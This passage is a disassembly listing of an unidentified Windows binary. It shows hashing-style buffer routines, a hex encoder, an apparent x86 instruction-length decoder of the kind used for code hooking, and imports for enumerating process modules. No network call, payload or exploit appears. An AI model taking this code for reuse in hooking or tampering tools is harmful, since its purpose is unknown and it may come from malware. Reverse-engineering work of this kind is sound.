		pop	eax
		cmp	edx, eax
		mov	[ebp+var_8], eax
		jg	short loc_9B7861
		mov	[ebp+var_8], edx


loc_9B7861:				; CODE XREF: sub_9B7781+DBj
		mov	ebx, [ebp+var_4]
		mov	cl, dl
		sub	cl, byte ptr [ebp+var_8]
		shr	bx, cl
		mov	ecx, eax
		sub	ecx, [ebp+var_8]
		mov	eax, 0FF00h
		shl	bl, cl
		mov	ecx, [ebp+var_8]
		sar	eax, cl
		mov	ecx, [ebp+var_C]
		and	bl, al
		mov	eax, [ebp+arg_0]
		inc	[ebp+var_C]
		sub	edx, [ebp+var_8]
		mov	[ecx+eax], bl
		jmp	short loc_9B7830
; ---------------------------------------------------------------------------


loc_9B7890:				; CODE XREF: sub_9B7781+D1j
		inc	esi
		cmp	esi, edi
		jl	loc_9B77D8


loc_9B7899:				; CODE XREF: sub_9B7781+4Ej
		pop	esi
		pop	ebx


loc_9B789B:				; CODE XREF: sub_9B7781+Ej
		pop	edi
		leave
		retn
sub_9B7781	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9B789E(void *Dst,int)

sub_9B789E	proc near		; CODE XREF: sub_9B6BB9+19p

Dst		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	esi
		push	edi
		push	4
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, [ebp+Dst]
		mov	edi, eax
		add	edi, 28h
		test	esi, esi
		jnz	short loc_9B78BD
		push	3
		pop	eax
		jmp	short loc_9B7933
; ---------------------------------------------------------------------------


loc_9B78BD:				; CODE XREF: sub_9B789E+18j
		push	ebx
		xor	ebx, ebx
		inc	ebx
		cmp	[ebp+arg_4], ebx
		jl	short loc_9B792F
		cmp	[ebp+arg_4], 200h
		jg	short loc_9B792F
		push	3C98h		; Size
		push	0		; Val
		push	esi		; Dst
		mov	dword_9BADF8, ebx
		call	memset
		mov	eax, [ebp+arg_4]
		xor	ecx, ecx
		add	esp, 0Ch
		mov	[esi], eax
		xor	eax, eax
		cmp	edi, 0FFh
		setnle	cl
		xor	edx, edx
		cmp	edi, eax
		setl	dl
		mov	[esi+128h], eax
		mov	dword ptr [esi+12Ch], 40h
		or	ecx, edx
		jz	short loc_9B7916
		push	11h
		jmp	short loc_9B7931
; ---------------------------------------------------------------------------


loc_9B7916:				; CODE XREF: sub_9B789E+72j
		mov	[esi+130h], edi
		mov	[esi+0CCh], ebx
		mov	[esi+134h], ebx
		mov	dword_9BB334, eax
		jmp	short loc_9B7932
; ---------------------------------------------------------------------------


loc_9B792F:				; CODE XREF: sub_9B789E+26j
					; sub_9B789E+2Fj
		push	2


loc_9B7931:				; CODE XREF: sub_9B789E+76j
		pop	eax


loc_9B7932:				; CODE XREF: sub_9B789E+8Fj
		pop	ebx


loc_9B7933:				; CODE XREF: sub_9B789E+1Dj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_9B789E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B7937	proc near		; CODE XREF: sub_9B7A26+A2p

Dst		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jnz	short loc_9B7947
		push	3
		jmp	short loc_9B7952
; ---------------------------------------------------------------------------


loc_9B7947:				; CODE XREF: sub_9B7937+Aj
		cmp	dword ptr [esi+0CCh], 0
		jnz	short loc_9B7958
		push	5


loc_9B7952:				; CODE XREF: sub_9B7937+Ej
		pop	eax
		jmp	loc_9B7A23
; ---------------------------------------------------------------------------


loc_9B7958:				; CODE XREF: sub_9B7937+17j
		push	ebx
		mov	ebx, [ebp+arg_8]
		test	ebx, ebx
		jge	short loc_9B7968
		push	6


loc_9B7962:				; CODE XREF: sub_9B7937+38j
		pop	eax
		jmp	loc_9B7A22
; ---------------------------------------------------------------------------


loc_9B7968:				; CODE XREF: sub_9B7937+27j
		cmp	ebx, 1Ch
		jl	short loc_9B7971
		push	7
		jmp	short loc_9B7962
; ---------------------------------------------------------------------------


loc_9B7971:				; CODE XREF: sub_9B7937+34j
		lea	eax, [esi+0D8h]
		add	dword ptr [eax], 1
		adc	dword ptr [eax+4], 0
		cmp	ebx, 1
		jnz	short loc_9B79A8
		mov	eax, [esi+12Ch]
		inc	eax
		cmp	eax, ebx
		jle	short loc_9B7998
		push	40h
		lea	eax, [esi+338h]
		jmp	short loc_9B79A0
; ---------------------------------------------------------------------------


loc_9B7998:				; CODE XREF: sub_9B7937+55j
		push	30h
		lea	eax, [esi+3B8h]


loc_9B79A0:				; CODE XREF: sub_9B7937+5Fj
		push	eax
		call	sub_9B774C
		pop	ecx
		pop	ecx


loc_9B79A8:				; CODE XREF: sub_9B7937+4Aj
		push	edi
		lea	ecx, [esi+ebx*4+3B38h]
		mov	[ebp+arg_4], ecx
		mov	eax, 1000h
		sub	eax, [ecx]
		mov	ecx, ebx
		shl	ecx, 9
		lea	ecx, [ecx+esi+138h]
		push	ecx
		push	dword ptr [esi]
		lea	edi, [esi+ebx*8+3BB0h]
		push	dword ptr [esi+128h]
		add	esi, 0E8h
		push	eax
		push	[ebp+arg_C]
		mov	[ebp+Dst], ecx
		push	dword ptr [esi+44h]
		push	dword ptr [esi+48h]
		push	dword ptr [edi]
		push	ebx
		push	esi
		push	offset loc_9A70D8
		push	[ebp+arg_0]
		call	sub_9B759C
		xor	ecx, ecx
		add	esp, 30h
		cmp	eax, ecx
		jnz	short loc_9B7A21
		add	dword ptr [edi], 1
		mov	eax, [ebp+arg_4]
		push	200h		; Size
		adc	[edi+4], ecx
		push	ecx		; Val
		push	[ebp+Dst]	; Dst
		mov	[eax], ecx
		call	memset
		add	esp, 0Ch
		xor	eax, eax


loc_9B7A21:				; CODE XREF: sub_9B7937+CAj
		pop	edi


loc_9B7A22:				; CODE XREF: sub_9B7937+2Cj
		pop	ebx


loc_9B7A23:				; CODE XREF: sub_9B7937+1Cj
		pop	esi
		leave
		retn
sub_9B7937	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B7A26	proc near		; CODE XREF: sub_9B7A26+148p
					; sub_9B7B7B+FDp ...

Src		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		xor	ebx, ebx
		cmp	esi, ebx
		jnz	short loc_9B7A3E
		push	3
		jmp	short loc_9B7A48
; ---------------------------------------------------------------------------


loc_9B7A3E:				; CODE XREF: sub_9B7A26+12j
		cmp	[esi+0CCh], ebx
		jnz	short loc_9B7A4E
		push	5


loc_9B7A48:				; CODE XREF: sub_9B7A26+16j
		pop	eax
		jmp	loc_9B7B77
; ---------------------------------------------------------------------------


loc_9B7A4E:				; CODE XREF: sub_9B7A26+1Ej
		cmp	[ebp+arg_8], ebx
		push	edi
		mov	edi, [ebp+arg_4]
		jnz	short loc_9B7A6B
		cmp	dword ptr [esi+edi*4+3B38h], 1000h
		jnb	short loc_9B7AB1


loc_9B7A64:				; CODE XREF: sub_9B7A26+6Cj
					; sub_9B7A26+77j ...
		xor	eax, eax
		jmp	loc_9B7B76
; ---------------------------------------------------------------------------


loc_9B7A6B:				; CODE XREF: sub_9B7A26+2Fj
		cmp	edi, [esi+134h]
		jnz	short loc_9B7AB1
		mov	eax, [esi+12Ch]
		inc	eax
		cmp	edi, eax
		jnz	short loc_9B7A9F
		cmp	dword ptr [esi+edi*4+3B38h], 400h
		jnz	short loc_9B7AB1
		cmp	[esi+edi*8+3BB4h], ebx
		ja	short loc_9B7A64
		cmp	[esi+edi*8+3BB0h], ebx
		jbe	short loc_9B7AB1
		jmp	short loc_9B7A64
; ---------------------------------------------------------------------------


loc_9B7A9F:				; CODE XREF: sub_9B7A26+56j
		cmp	edi, 1
		jle	short loc_9B7AB1
		cmp	dword ptr [esi+edi*4+3B38h], 400h
		jz	short loc_9B7A64


loc_9B7AB1:				; CODE XREF: sub_9B7A26+3Cj
					; sub_9B7A26+4Bj ...
		cmp	[ebp+arg_8], ebx
		jz	short loc_9B7AC1
		cmp	edi, [esi+134h]
		jnz	short loc_9B7AC1
		xor	ebx, ebx
		inc	ebx


loc_9B7AC1:				; CODE XREF: sub_9B7A26+8Ej
					; sub_9B7A26+96j
		push	ebx
		push	edi
		lea	eax, [ebp+Src]
		push	esi
		push	eax
		call	sub_9B7937
		add	esp, 10h
		test	eax, eax
		jnz	loc_9B7B76
		cmp	ebx, 1
		jnz	short loc_9B7AF7
		push	80h		; Size
		lea	eax, [ebp+Src]
		push	eax		; Src
		add	esi, 8
		push	esi		; Dst
		call	memcpy
		add	esp, 0Ch
		jmp	loc_9B7A64
; ---------------------------------------------------------------------------


loc_9B7AF7:				; CODE XREF: sub_9B7A26+B5j
		mov	eax, [esi+12Ch]
		inc	eax
		inc	edi
		cmp	edi, eax
		jl	short loc_9B7B2B
		mov	edi, eax
		cmp	edi, eax
		jnz	short loc_9B7B2B
		mov	eax, [esi+edi*8+3BB0h]
		or	eax, [esi+edi*8+3BB4h]
		jnz	short loc_9B7B2B
		lea	eax, [esi+edi*4+3B38h]
		cmp	dword ptr [eax], 0
		jnz	short loc_9B7B2B
		mov	dword ptr [eax], 400h


loc_9B7B2B:				; CODE XREF: sub_9B7A26+DBj
					; sub_9B7A26+E1j ...
		push	80h		; Size
		lea	eax, [ebp+Src]
		push	eax		; Src
		lea	ebx, [esi+edi*4+3B38h]
		mov	eax, [ebx]
		shr	eax, 3
		mov	ecx, edi
		shl	ecx, 9
		add	eax, esi
		lea	eax, [ecx+eax+138h]
		push	eax		; Dst
		call	memcpy
		add	dword ptr [ebx], 400h
		lea	eax, [esi+134h]
		add	esp, 0Ch
		cmp	edi, [eax]
		jle	short loc_9B7B69
		mov	[eax], edi


loc_9B7B69:				; CODE XREF: sub_9B7A26+13Fj
		push	[ebp+arg_8]
		push	edi
		push	esi
		call	sub_9B7A26
		add	esp, 0Ch


loc_9B7B76:				; CODE XREF: sub_9B7A26+40j
					; sub_9B7A26+ACj
		pop	edi


loc_9B7B77:				; CODE XREF: sub_9B7A26+23j
		pop	esi
		pop	ebx
		leave
		retn
sub_9B7A26	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B7B7B	proc near		; CODE XREF: sub_9B6BB9+32p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		xor	eax, eax
		cmp	esi, eax
		jnz	short loc_9B7B8C
		push	3
		jmp	short loc_9B7B9F
; ---------------------------------------------------------------------------


loc_9B7B8C:				; CODE XREF: sub_9B7B7B+Bj
		cmp	[esi+0CCh], eax
		jnz	short loc_9B7B98
		push	5
		jmp	short loc_9B7B9F
; ---------------------------------------------------------------------------


loc_9B7B98:				; CODE XREF: sub_9B7B7B+17j
		cmp	[ebp+arg_4], eax
		jnz	short loc_9B7BA5
		push	8


loc_9B7B9F:				; CODE XREF: sub_9B7B7B+Fj
					; sub_9B7B7B+1Bj
		pop	eax
		jmp	loc_9B7CA0
; ---------------------------------------------------------------------------


loc_9B7BA5:				; CODE XREF: sub_9B7B7B+20j
		cmp	[ebp+arg_C], eax
		push	ebx
		mov	[ebp+arg_0], eax
		jb	loc_9B7C9D
		ja	short loc_9B7BBD
		cmp	[ebp+arg_8], eax
		jbe	loc_9B7C9D


loc_9B7BBD:				; CODE XREF: sub_9B7B7B+37j
					; sub_9B7B7B+10Ej ...
		mov	edx, [ebp+arg_8]
		mov	eax, [ebp+arg_C]
		mov	ecx, 1000h
		sub	ecx, [esi+3B3Ch]
		xor	ebx, ebx
		sub	edx, [ebp+arg_0]
		sbb	eax, ebx
		cmp	eax, ebx
		ja	short loc_9B7BE3
		jb	short loc_9B7BDF
		cmp	edx, ecx
		jnb	short loc_9B7BE3


loc_9B7BDF:				; CODE XREF: sub_9B7B7B+5Ej
		mov	ebx, edx
		jmp	short loc_9B7BE5
; ---------------------------------------------------------------------------


loc_9B7BE3:				; CODE XREF: sub_9B7B7B+5Cj
					; sub_9B7B7B+62j
		mov	ebx, ecx


loc_9B7BE5:				; CODE XREF: sub_9B7B7B+66j
		test	bl, 7
		jnz	short loc_9B7C1F
		mov	eax, [esi+3B3Ch]
		test	al, 7
		jnz	short loc_9B7C1F
		test	byte ptr [ebp+arg_0], 7
		jnz	short loc_9B7C1F
		mov	ecx, ebx
		shr	ecx, 3
		push	ecx		; Size
		mov	ecx, [ebp+arg_0]
		shr	ecx, 3
		add	ecx, [ebp+arg_4]
		shr	eax, 3
		push	ecx		; Src
		lea	eax, [eax+esi+338h]
		push	eax		; Dst
		call	memcpy
		add	esp, 0Ch
		jmp	short loc_9B7C3F
; ---------------------------------------------------------------------------


loc_9B7C1F:				; CODE XREF: sub_9B7B7B+6Dj
					; sub_9B7B7B+77j ...
		mov	eax, [ebp+arg_0]
		shr	eax, 3
		add	eax, [ebp+arg_4]
		push	ebx
		push	eax
		push	dword ptr [esi+3B3Ch]
		lea	eax, [esi+338h]
		push	eax
		call	sub_9B7781
		add	esp, 10h


loc_9B7C3F:				; CODE XREF: sub_9B7B7B+A2j
		add	[esi+3B3Ch], ebx
		add	[ebp+arg_0], ebx
		add	[esi+0D0h], ebx
		mov	eax, [esi+3B3Ch]
		adc	dword ptr [esi+0D4h], 0
		cmp	eax, 1000h
		jnz	short loc_9B7C84
		xor	eax, eax
		cmp	eax, [ebp+arg_C]
		ja	short loc_9B7C84
		jb	short loc_9B7C73
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+arg_8]
		jnb	short loc_9B7C84


loc_9B7C73:				; CODE XREF: sub_9B7B7B+EEj
		push	0
		push	1
		push	esi
		call	sub_9B7A26
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_9B7C9F


loc_9B7C84:				; CODE XREF: sub_9B7B7B+E5j
					; sub_9B7B7B+ECj ...
		xor	eax, eax
		cmp	eax, [ebp+arg_C]
		jb	loc_9B7BBD
		ja	short loc_9B7C9D
		mov	eax, [ebp+arg_8]
		cmp	[ebp+arg_0], eax
		jb	loc_9B7BBD


loc_9B7C9D:				; CODE XREF: sub_9B7B7B+31j
					; sub_9B7B7B+3Cj ...
		xor	eax, eax


loc_9B7C9F:				; CODE XREF: sub_9B7B7B+107j
		pop	ebx


loc_9B7CA0:				; CODE XREF: sub_9B7B7B+25j
		pop	esi
		pop	ebp
		retn
sub_9B7B7B	endp


; =============== S U B	R O U T	I N E =======================================



sub_9B7CA3	proc near		; CODE XREF: sub_9B7DEE+90p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_9B7CB1
		push	3
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_9B7CB1:				; CODE XREF: sub_9B7CA3+7j
		mov	eax, [esi]
		add	eax, 7
		push	8
		cdq
		pop	ecx
		idiv	ecx
		test	eax, eax
		jle	short loc_9B7D0F
		push	ebx
		push	ebp
		mov	[esp+0Ch+arg_0], 0FFFFFFF8h
		sub	[esp+0Ch+arg_0], esi
		push	edi
		lea	ecx, [esi+8]
		lea	edi, [esi+49h]


loc_9B7CD5:				; CODE XREF: sub_9B7CA3+67j
		movzx	eax, byte ptr [ecx]
		shr	eax, 4
		mov	al, byte_9A7150[eax]
		mov	[edi-1], al
		xor	eax, eax
		mov	al, [ecx]
		push	8
		pop	ebp
		and	eax, 0Fh
		mov	al, byte_9A7150[eax]
		mov	[edi], al
		mov	eax, [esp+10h+arg_0]
		inc	ecx
		lea	ebx, [eax+ecx]
		mov	eax, [esi]
		add	eax, 7
		cdq
		idiv	ebp
		inc	edi
		inc	edi
		cmp	ebx, eax
		jl	short loc_9B7CD5
		pop	edi
		pop	ebp
		pop	ebx


loc_9B7D0F:				; CODE XREF: sub_9B7CA3+1Bj
		mov	eax, [esi]
		add	eax, 3
		push	4
		cdq
		pop	ecx
		idiv	ecx
		mov	byte ptr [eax+esi+48h],	0
		xor	eax, eax
		pop	esi
		retn
sub_9B7CA3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B7D23	proc near		; CODE XREF: sub_9B7DEE+8Ap

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [esi]
		push	edi
		lea	eax, [ecx+7]
		cdq
		push	8
		pop	edi
		idiv	edi
		push	8
		mov	ebx, 80h
		mov	edi, eax
		mov	eax, ecx
		cdq
		pop	ecx
		idiv	ecx
		test	edi, edi
		mov	[ebp+var_C], edi
		mov	[ebp+var_8], edx
		jle	short loc_9B7D68
		mov	ecx, ebx
		lea	eax, [esi+8]
		sub	ecx, edi
		mov	[ebp+arg_0], edi


loc_9B7D5D:				; CODE XREF: sub_9B7D23+43j
		mov	dl, [ecx+eax]
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_9B7D5D


loc_9B7D68:				; CODE XREF: sub_9B7D23+2Ej
		cmp	edi, ebx
		jge	short loc_9B7D89
		lea	edx, [edi+esi+8]
		mov	ecx, ebx
		sub	ecx, edi
		mov	edi, edx
		mov	edx, ecx
		shr	ecx, 2
		xor	eax, eax
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		mov	edi, [ebp+var_C]


loc_9B7D89:				; CODE XREF: sub_9B7D23+47j
		cmp	[ebp+var_8], 0
		jle	short loc_9B7DE9
		test	edi, edi
		jle	short loc_9B7DE9
		push	8
		pop	eax
		sub	eax, [ebp+var_8]
		mov	[ebp+var_4], 0FFFFFFF9h
		sub	[ebp+var_4], esi
		mov	[ebp+arg_0], 0FFFFFFF8h
		sub	[ebp+arg_0], esi
		mov	[ebp+var_10], eax
		lea	eax, [esi+8]


loc_9B7DB3:				; CODE XREF: sub_9B7D23+C4j
		mov	dl, [eax]
		mov	ecx, [ebp+var_10]
		shl	dl, cl
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		cmp	ecx, ebx
		mov	[eax], dl
		jge	short loc_9B7DDF
		mov	ecx, [ebp+arg_0]
		mov	edi, [ebp+var_C]
		add	ecx, eax
		mov	bl, [ecx+esi+9]
		mov	cl, byte ptr [ebp+var_8]
		shr	bl, cl
		or	bl, dl
		mov	[eax], bl
		mov	ebx, 80h


loc_9B7DDF:				; CODE XREF: sub_9B7D23+A0j
		mov	ecx, [ebp+arg_0]
		inc	eax
		add	ecx, eax
		cmp	ecx, edi
		jl	short loc_9B7DB3


loc_9B7DE9:				; CODE XREF: sub_9B7D23+6Aj
					; sub_9B7D23+6Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_9B7D23	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_9B7DEE(int,void *Dst)

sub_9B7DEE	proc near		; CODE XREF: sub_9B6BB9+40p

arg_0		= dword	ptr  4
Dst		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_9B7DFB
		push	3
		jmp	short loc_9B7E06
; ---------------------------------------------------------------------------


loc_9B7DFB:				; CODE XREF: sub_9B7DEE+7j
		cmp	dword ptr [esi+0CCh], 0
		jnz	short loc_9B7E09
		push	5


loc_9B7E06:				; CODE XREF: sub_9B7DEE+Bj
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_9B7E09:				; CODE XREF: sub_9B7DEE+14j
		push	ebx
		xor	ebx, ebx
		inc	ebx
		cmp	[esi+0E0h], ebx
		jz	short loc_9B7E8C
		mov	ecx, [esi+134h]
		cmp	ecx, ebx
		mov	eax, ebx
		jz	short loc_9B7E3A
		jl	short loc_9B7E3A
		lea	ecx, [esi+3B3Ch]


loc_9B7E29:				; CODE XREF: sub_9B7DEE+4Aj
		cmp	dword ptr [ecx], 0
		ja	short loc_9B7E3A
		inc	eax
		add	ecx, 4
		cmp	eax, [esi+134h]
		jle	short loc_9B7E29


loc_9B7E3A:				; CODE XREF: sub_9B7DEE+31j
					; sub_9B7DEE+33j ...
		push	ebx
		push	eax
		push	esi
		call	sub_9B7A26
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_9B7E8E
		push	edi
		lea	edi, [esi+8]
		push	10h
		push	edi
		call	sub_9B774C
		cmp	[esp+14h+Dst], 0
		pop	ecx
		pop	ecx
		jz	short loc_9B7E77
		mov	eax, [esi]
		add	eax, 7
		push	8
		pop	ecx
		cdq
		idiv	ecx
		push	eax		; Size
		push	edi		; Src
		push	[esp+14h+Dst]	; Dst
		call	memcpy
		add	esp, 0Ch


loc_9B7E77:				; CODE XREF: sub_9B7DEE+6Ej
		push	esi
		call	sub_9B7D23
		push	esi
		call	sub_9B7CA3
		pop	ecx
		pop	ecx
		mov	[esi+0E0h], ebx
		pop	edi


loc_9B7E8C:				; CODE XREF: sub_9B7DEE+25j
		xor	eax, eax


loc_9B7E8E:				; CODE XREF: sub_9B7DEE+59j
		pop	ebx
		pop	esi
		retn
sub_9B7DEE	endp

; ---------------------------------------------------------------------------
		align 10h


loc_9B7EA0:				; CODE XREF: sub_9AB2C9+58p
		pusha
		cld
		xor	edx, edx
		mov	esi, [esp+24h]
		mov	ebp, esp
		push	1097F71Ch
		push	0F71C6780h
		push	17389718h
		push	101CB718h
		push	17302C17h
		push	18173017h
		push	0F715F547h
		push	4C103748h
		push	272CE7F7h
		push	0F7AC6087h
		push	1C121C52h
		push	7C10871Ch
		push	201C701Ch
		push	4767602Bh
		push	20211011h
		push	40121625h
		push	82872022h
		push	47201220h
		push	13101419h
		push	18271013h
		push	28858260h
		push	15124045h
		push	5016A0C7h
		push	28191812h
		push	0F2401812h
		push	19154127h
		push	50F0F011h
		mov	ecx, 15124710h
		push	ecx
		push	11151247h
		push	10111512h
		push	47101115h
		mov	eax, 12472015h
		push	eax
		push	eax
		push	12471A10h
		add	cl, 10h
		push	ecx
		sub	cl, 20h
		push	ecx
		xor	ecx, ecx
		dec	ecx


loc_9B7F5D:				; CODE XREF: .text:009B7F80j
		inc	ecx
		mov	edi, esp


loc_9B7F60:				; CODE XREF: .text:009B7F8Aj
		lodsb
		mov	bh, al


loc_9B7F63:				; CODE XREF: .text:009B7F6Bj
		mov	ah, [edi]
		inc	edi
		shr	ah, 4
		sub	al, ah
		jnb	short loc_9B7F63
		mov	al, [edi-1]
		and	al, 0Fh
		cmp	al, 0Ch
		jnz	short loc_9B7F79
		pop	edx
		not	edx


loc_9B7F79:				; CODE XREF: .text:009B7F74j
		inc	edx
		cmp	al, 0
		jz	short loc_9B7FBF
		cmp	al, 1
		jz	short loc_9B7F5D
		add	edi, 51h
		cmp	al, 0Ah
		jz	short loc_9B7F60
		mov	edi, [ebp+24h]
		inc	edx
		cmp	al, 2
		jz	short loc_9B7FBF
		cmp	al, 7
		jz	short loc_9B7FC7
		cmp	al, 0Bh
		jz	short loc_9B801A


loc_9B7F9C:				; CODE XREF: .text:009B8025j
		inc	edx
		cmp	al, 3
		jz	short loc_9B7FBF
		cmp	al, 8
		jz	short loc_9B7FC7
		inc	edx
		cmp	al, 4
		jz	short loc_9B7FBF
		inc	edx
		inc	edx
		pusha
		mov	al, 66h
		repne scasb
		popa
		jnz	short loc_9B7FB6


loc_9B7FB4:				; CODE XREF: .text:009B8030j
					; .text:009B8048j
		dec	edx
		dec	edx


loc_9B7FB6:				; CODE XREF: .text:009B7FB2j
		cmp	al, 9
		jz	short loc_9B7FC7
		sub	al, 5
		jz	short loc_9B802A


loc_9B7FBE:				; CODE XREF: .text:009B800Aj
					; .text:009B800Ej ...
		inc	edx


loc_9B7FBF:				; CODE XREF: .text:009B7F7Cj
					; .text:009B7F92j ...
		mov	esp, ebp
		mov	[esp+1Ch], edx
		popa
		retn
; ---------------------------------------------------------------------------


loc_9B7FC7:				; CODE XREF: .text:009B7F96j
					; .text:009B7FA3j ...
		lodsb
		mov	ah, al
		shr	al, 7
		jb	short loc_9B7FE1
		jz	short loc_9B7FE5
		add	dl, 4
		pusha
		mov	al, 67h
		repne scasb
		popa
		jnz	short loc_9B7FE5
		sub	dl, 3
		dec	al


loc_9B7FE1:				; CODE XREF: .text:009B7FCDj
		jnz	short loc_9B7FBF
		inc	edx
		inc	eax


loc_9B7FE5:				; CODE XREF: .text:009B7FCFj
					; .text:009B7FDAj
		and	ah, 7
		pusha
		mov	al, 67h
		repne scasb
		popa
		jz	short loc_9B8003
		cmp	ah, 4
		jz	short loc_9B800C
		cmp	ah, 5
		jnz	short loc_9B7FBF
		dec	al
		jz	short loc_9B7FBF


loc_9B7FFE:				; CODE XREF: .text:009B8018j
		add	dl, 4
		jmp	short loc_9B7FBF
; ---------------------------------------------------------------------------


loc_9B8003:				; CODE XREF: .text:009B7FEEj
		cmp	ax, 600h
		jnz	short loc_9B7FBF
		inc	edx
		jmp	short loc_9B7FBE
; ---------------------------------------------------------------------------


loc_9B800C:				; CODE XREF: .text:009B7FF3j
		cmp	al, 0
		jnz	short loc_9B7FBE
		lodsb
		and	al, 7
		sub	al, 5
		jnz	short loc_9B7FBE
		inc	edx
		jmp	short loc_9B7FFE
; ---------------------------------------------------------------------------


loc_9B801A:				; CODE XREF: .text:009B7F9Aj
		test	byte ptr [esi],	38h
		jnz	short loc_9B7FC7
		mov	al, 8
		shr	bh, 1
		adc	al, 0
		jmp	loc_9B7F9C
; ---------------------------------------------------------------------------


loc_9B802A:				; CODE XREF: .text:009B7FBCj
		sub	bh, 0A0h
		cmp	bh, 4
		jnb	short loc_9B7FB4
		pusha
		mov	al, 67h
		repne scasb
		popa
		jnz	short loc_9B803C
		dec	edx
		dec	edx


loc_9B803C:				; CODE XREF: .text:009B8038j
		pusha
		mov	al, 66h
		repne scasb
		popa
		jz	loc_9B7FBE
		jnz	loc_9B7FB4
; ---------------------------------------------------------------------------
		db 2 dup(0CCh)
; [00000020 BYTES: COLLAPSED FUNCTION __global_unwind2.	PRESS KEYPAD "+" TO EXPAND]
; [00000022 BYTES: COLLAPSED FUNCTION __unwind_handler.	PRESS KEYPAD "+" TO EXPAND]
; [00000068 BYTES: COLLAPSED FUNCTION __local_unwind2. PRESS KEYPAD "+"	TO EXPAND]
; [00000023 BYTES: COLLAPSED FUNCTION __abnormal_termination. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

__NLG_Notify1:
		push	ebx
		push	ecx
		mov	ebx, offset dword_9BADFC
		jmp	short loc_9B8130
; [00000018 BYTES: COLLAPSED FUNCTION __NLG_Notify. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh
; [000000BD BYTES: COLLAPSED FUNCTION unknown_libname_1. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

unknown_libname_2:			; Microsoft VisualC 2-8/net runtime
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	__local_unwind2
		add	esp, 8
		pop	ebp
		retn	4
; [00000006 BYTES: COLLAPSED FUNCTION strlen. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION memcmp. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION memcpy. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION memset. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION strcat. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION strcmp. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION strcpy. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000002F BYTES: COLLAPSED FUNCTION __alloca_probe. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000068 BYTES: COLLAPSED FUNCTION __aulldiv. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000034 BYTES: COLLAPSED FUNCTION __allmul.	PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION log. PRESS KEYPAD	"+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION sin. PRESS KEYPAD	"+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION labs. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [00000021 BYTES: COLLAPSED FUNCTION __allshr.	PRESS KEYPAD "+" TO EXPAND]
; [000000AB BYTES: COLLAPSED FUNCTION _CRT_INIT(x,x,x).	PRESS KEYPAD "+" TO EXPAND]
; [0000009D BYTES: COLLAPSED FUNCTION start. PRESS KEYPAD "+" TO EXPAND]
		align 2
; [00000006 BYTES: COLLAPSED FUNCTION _initterm. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION Module32Next. PRESS KEYPAD "+" TO	EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION Module32First. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION CreateToolhelp32Snapshot.	PRESS KEYPAD "+" TO EXPAND]
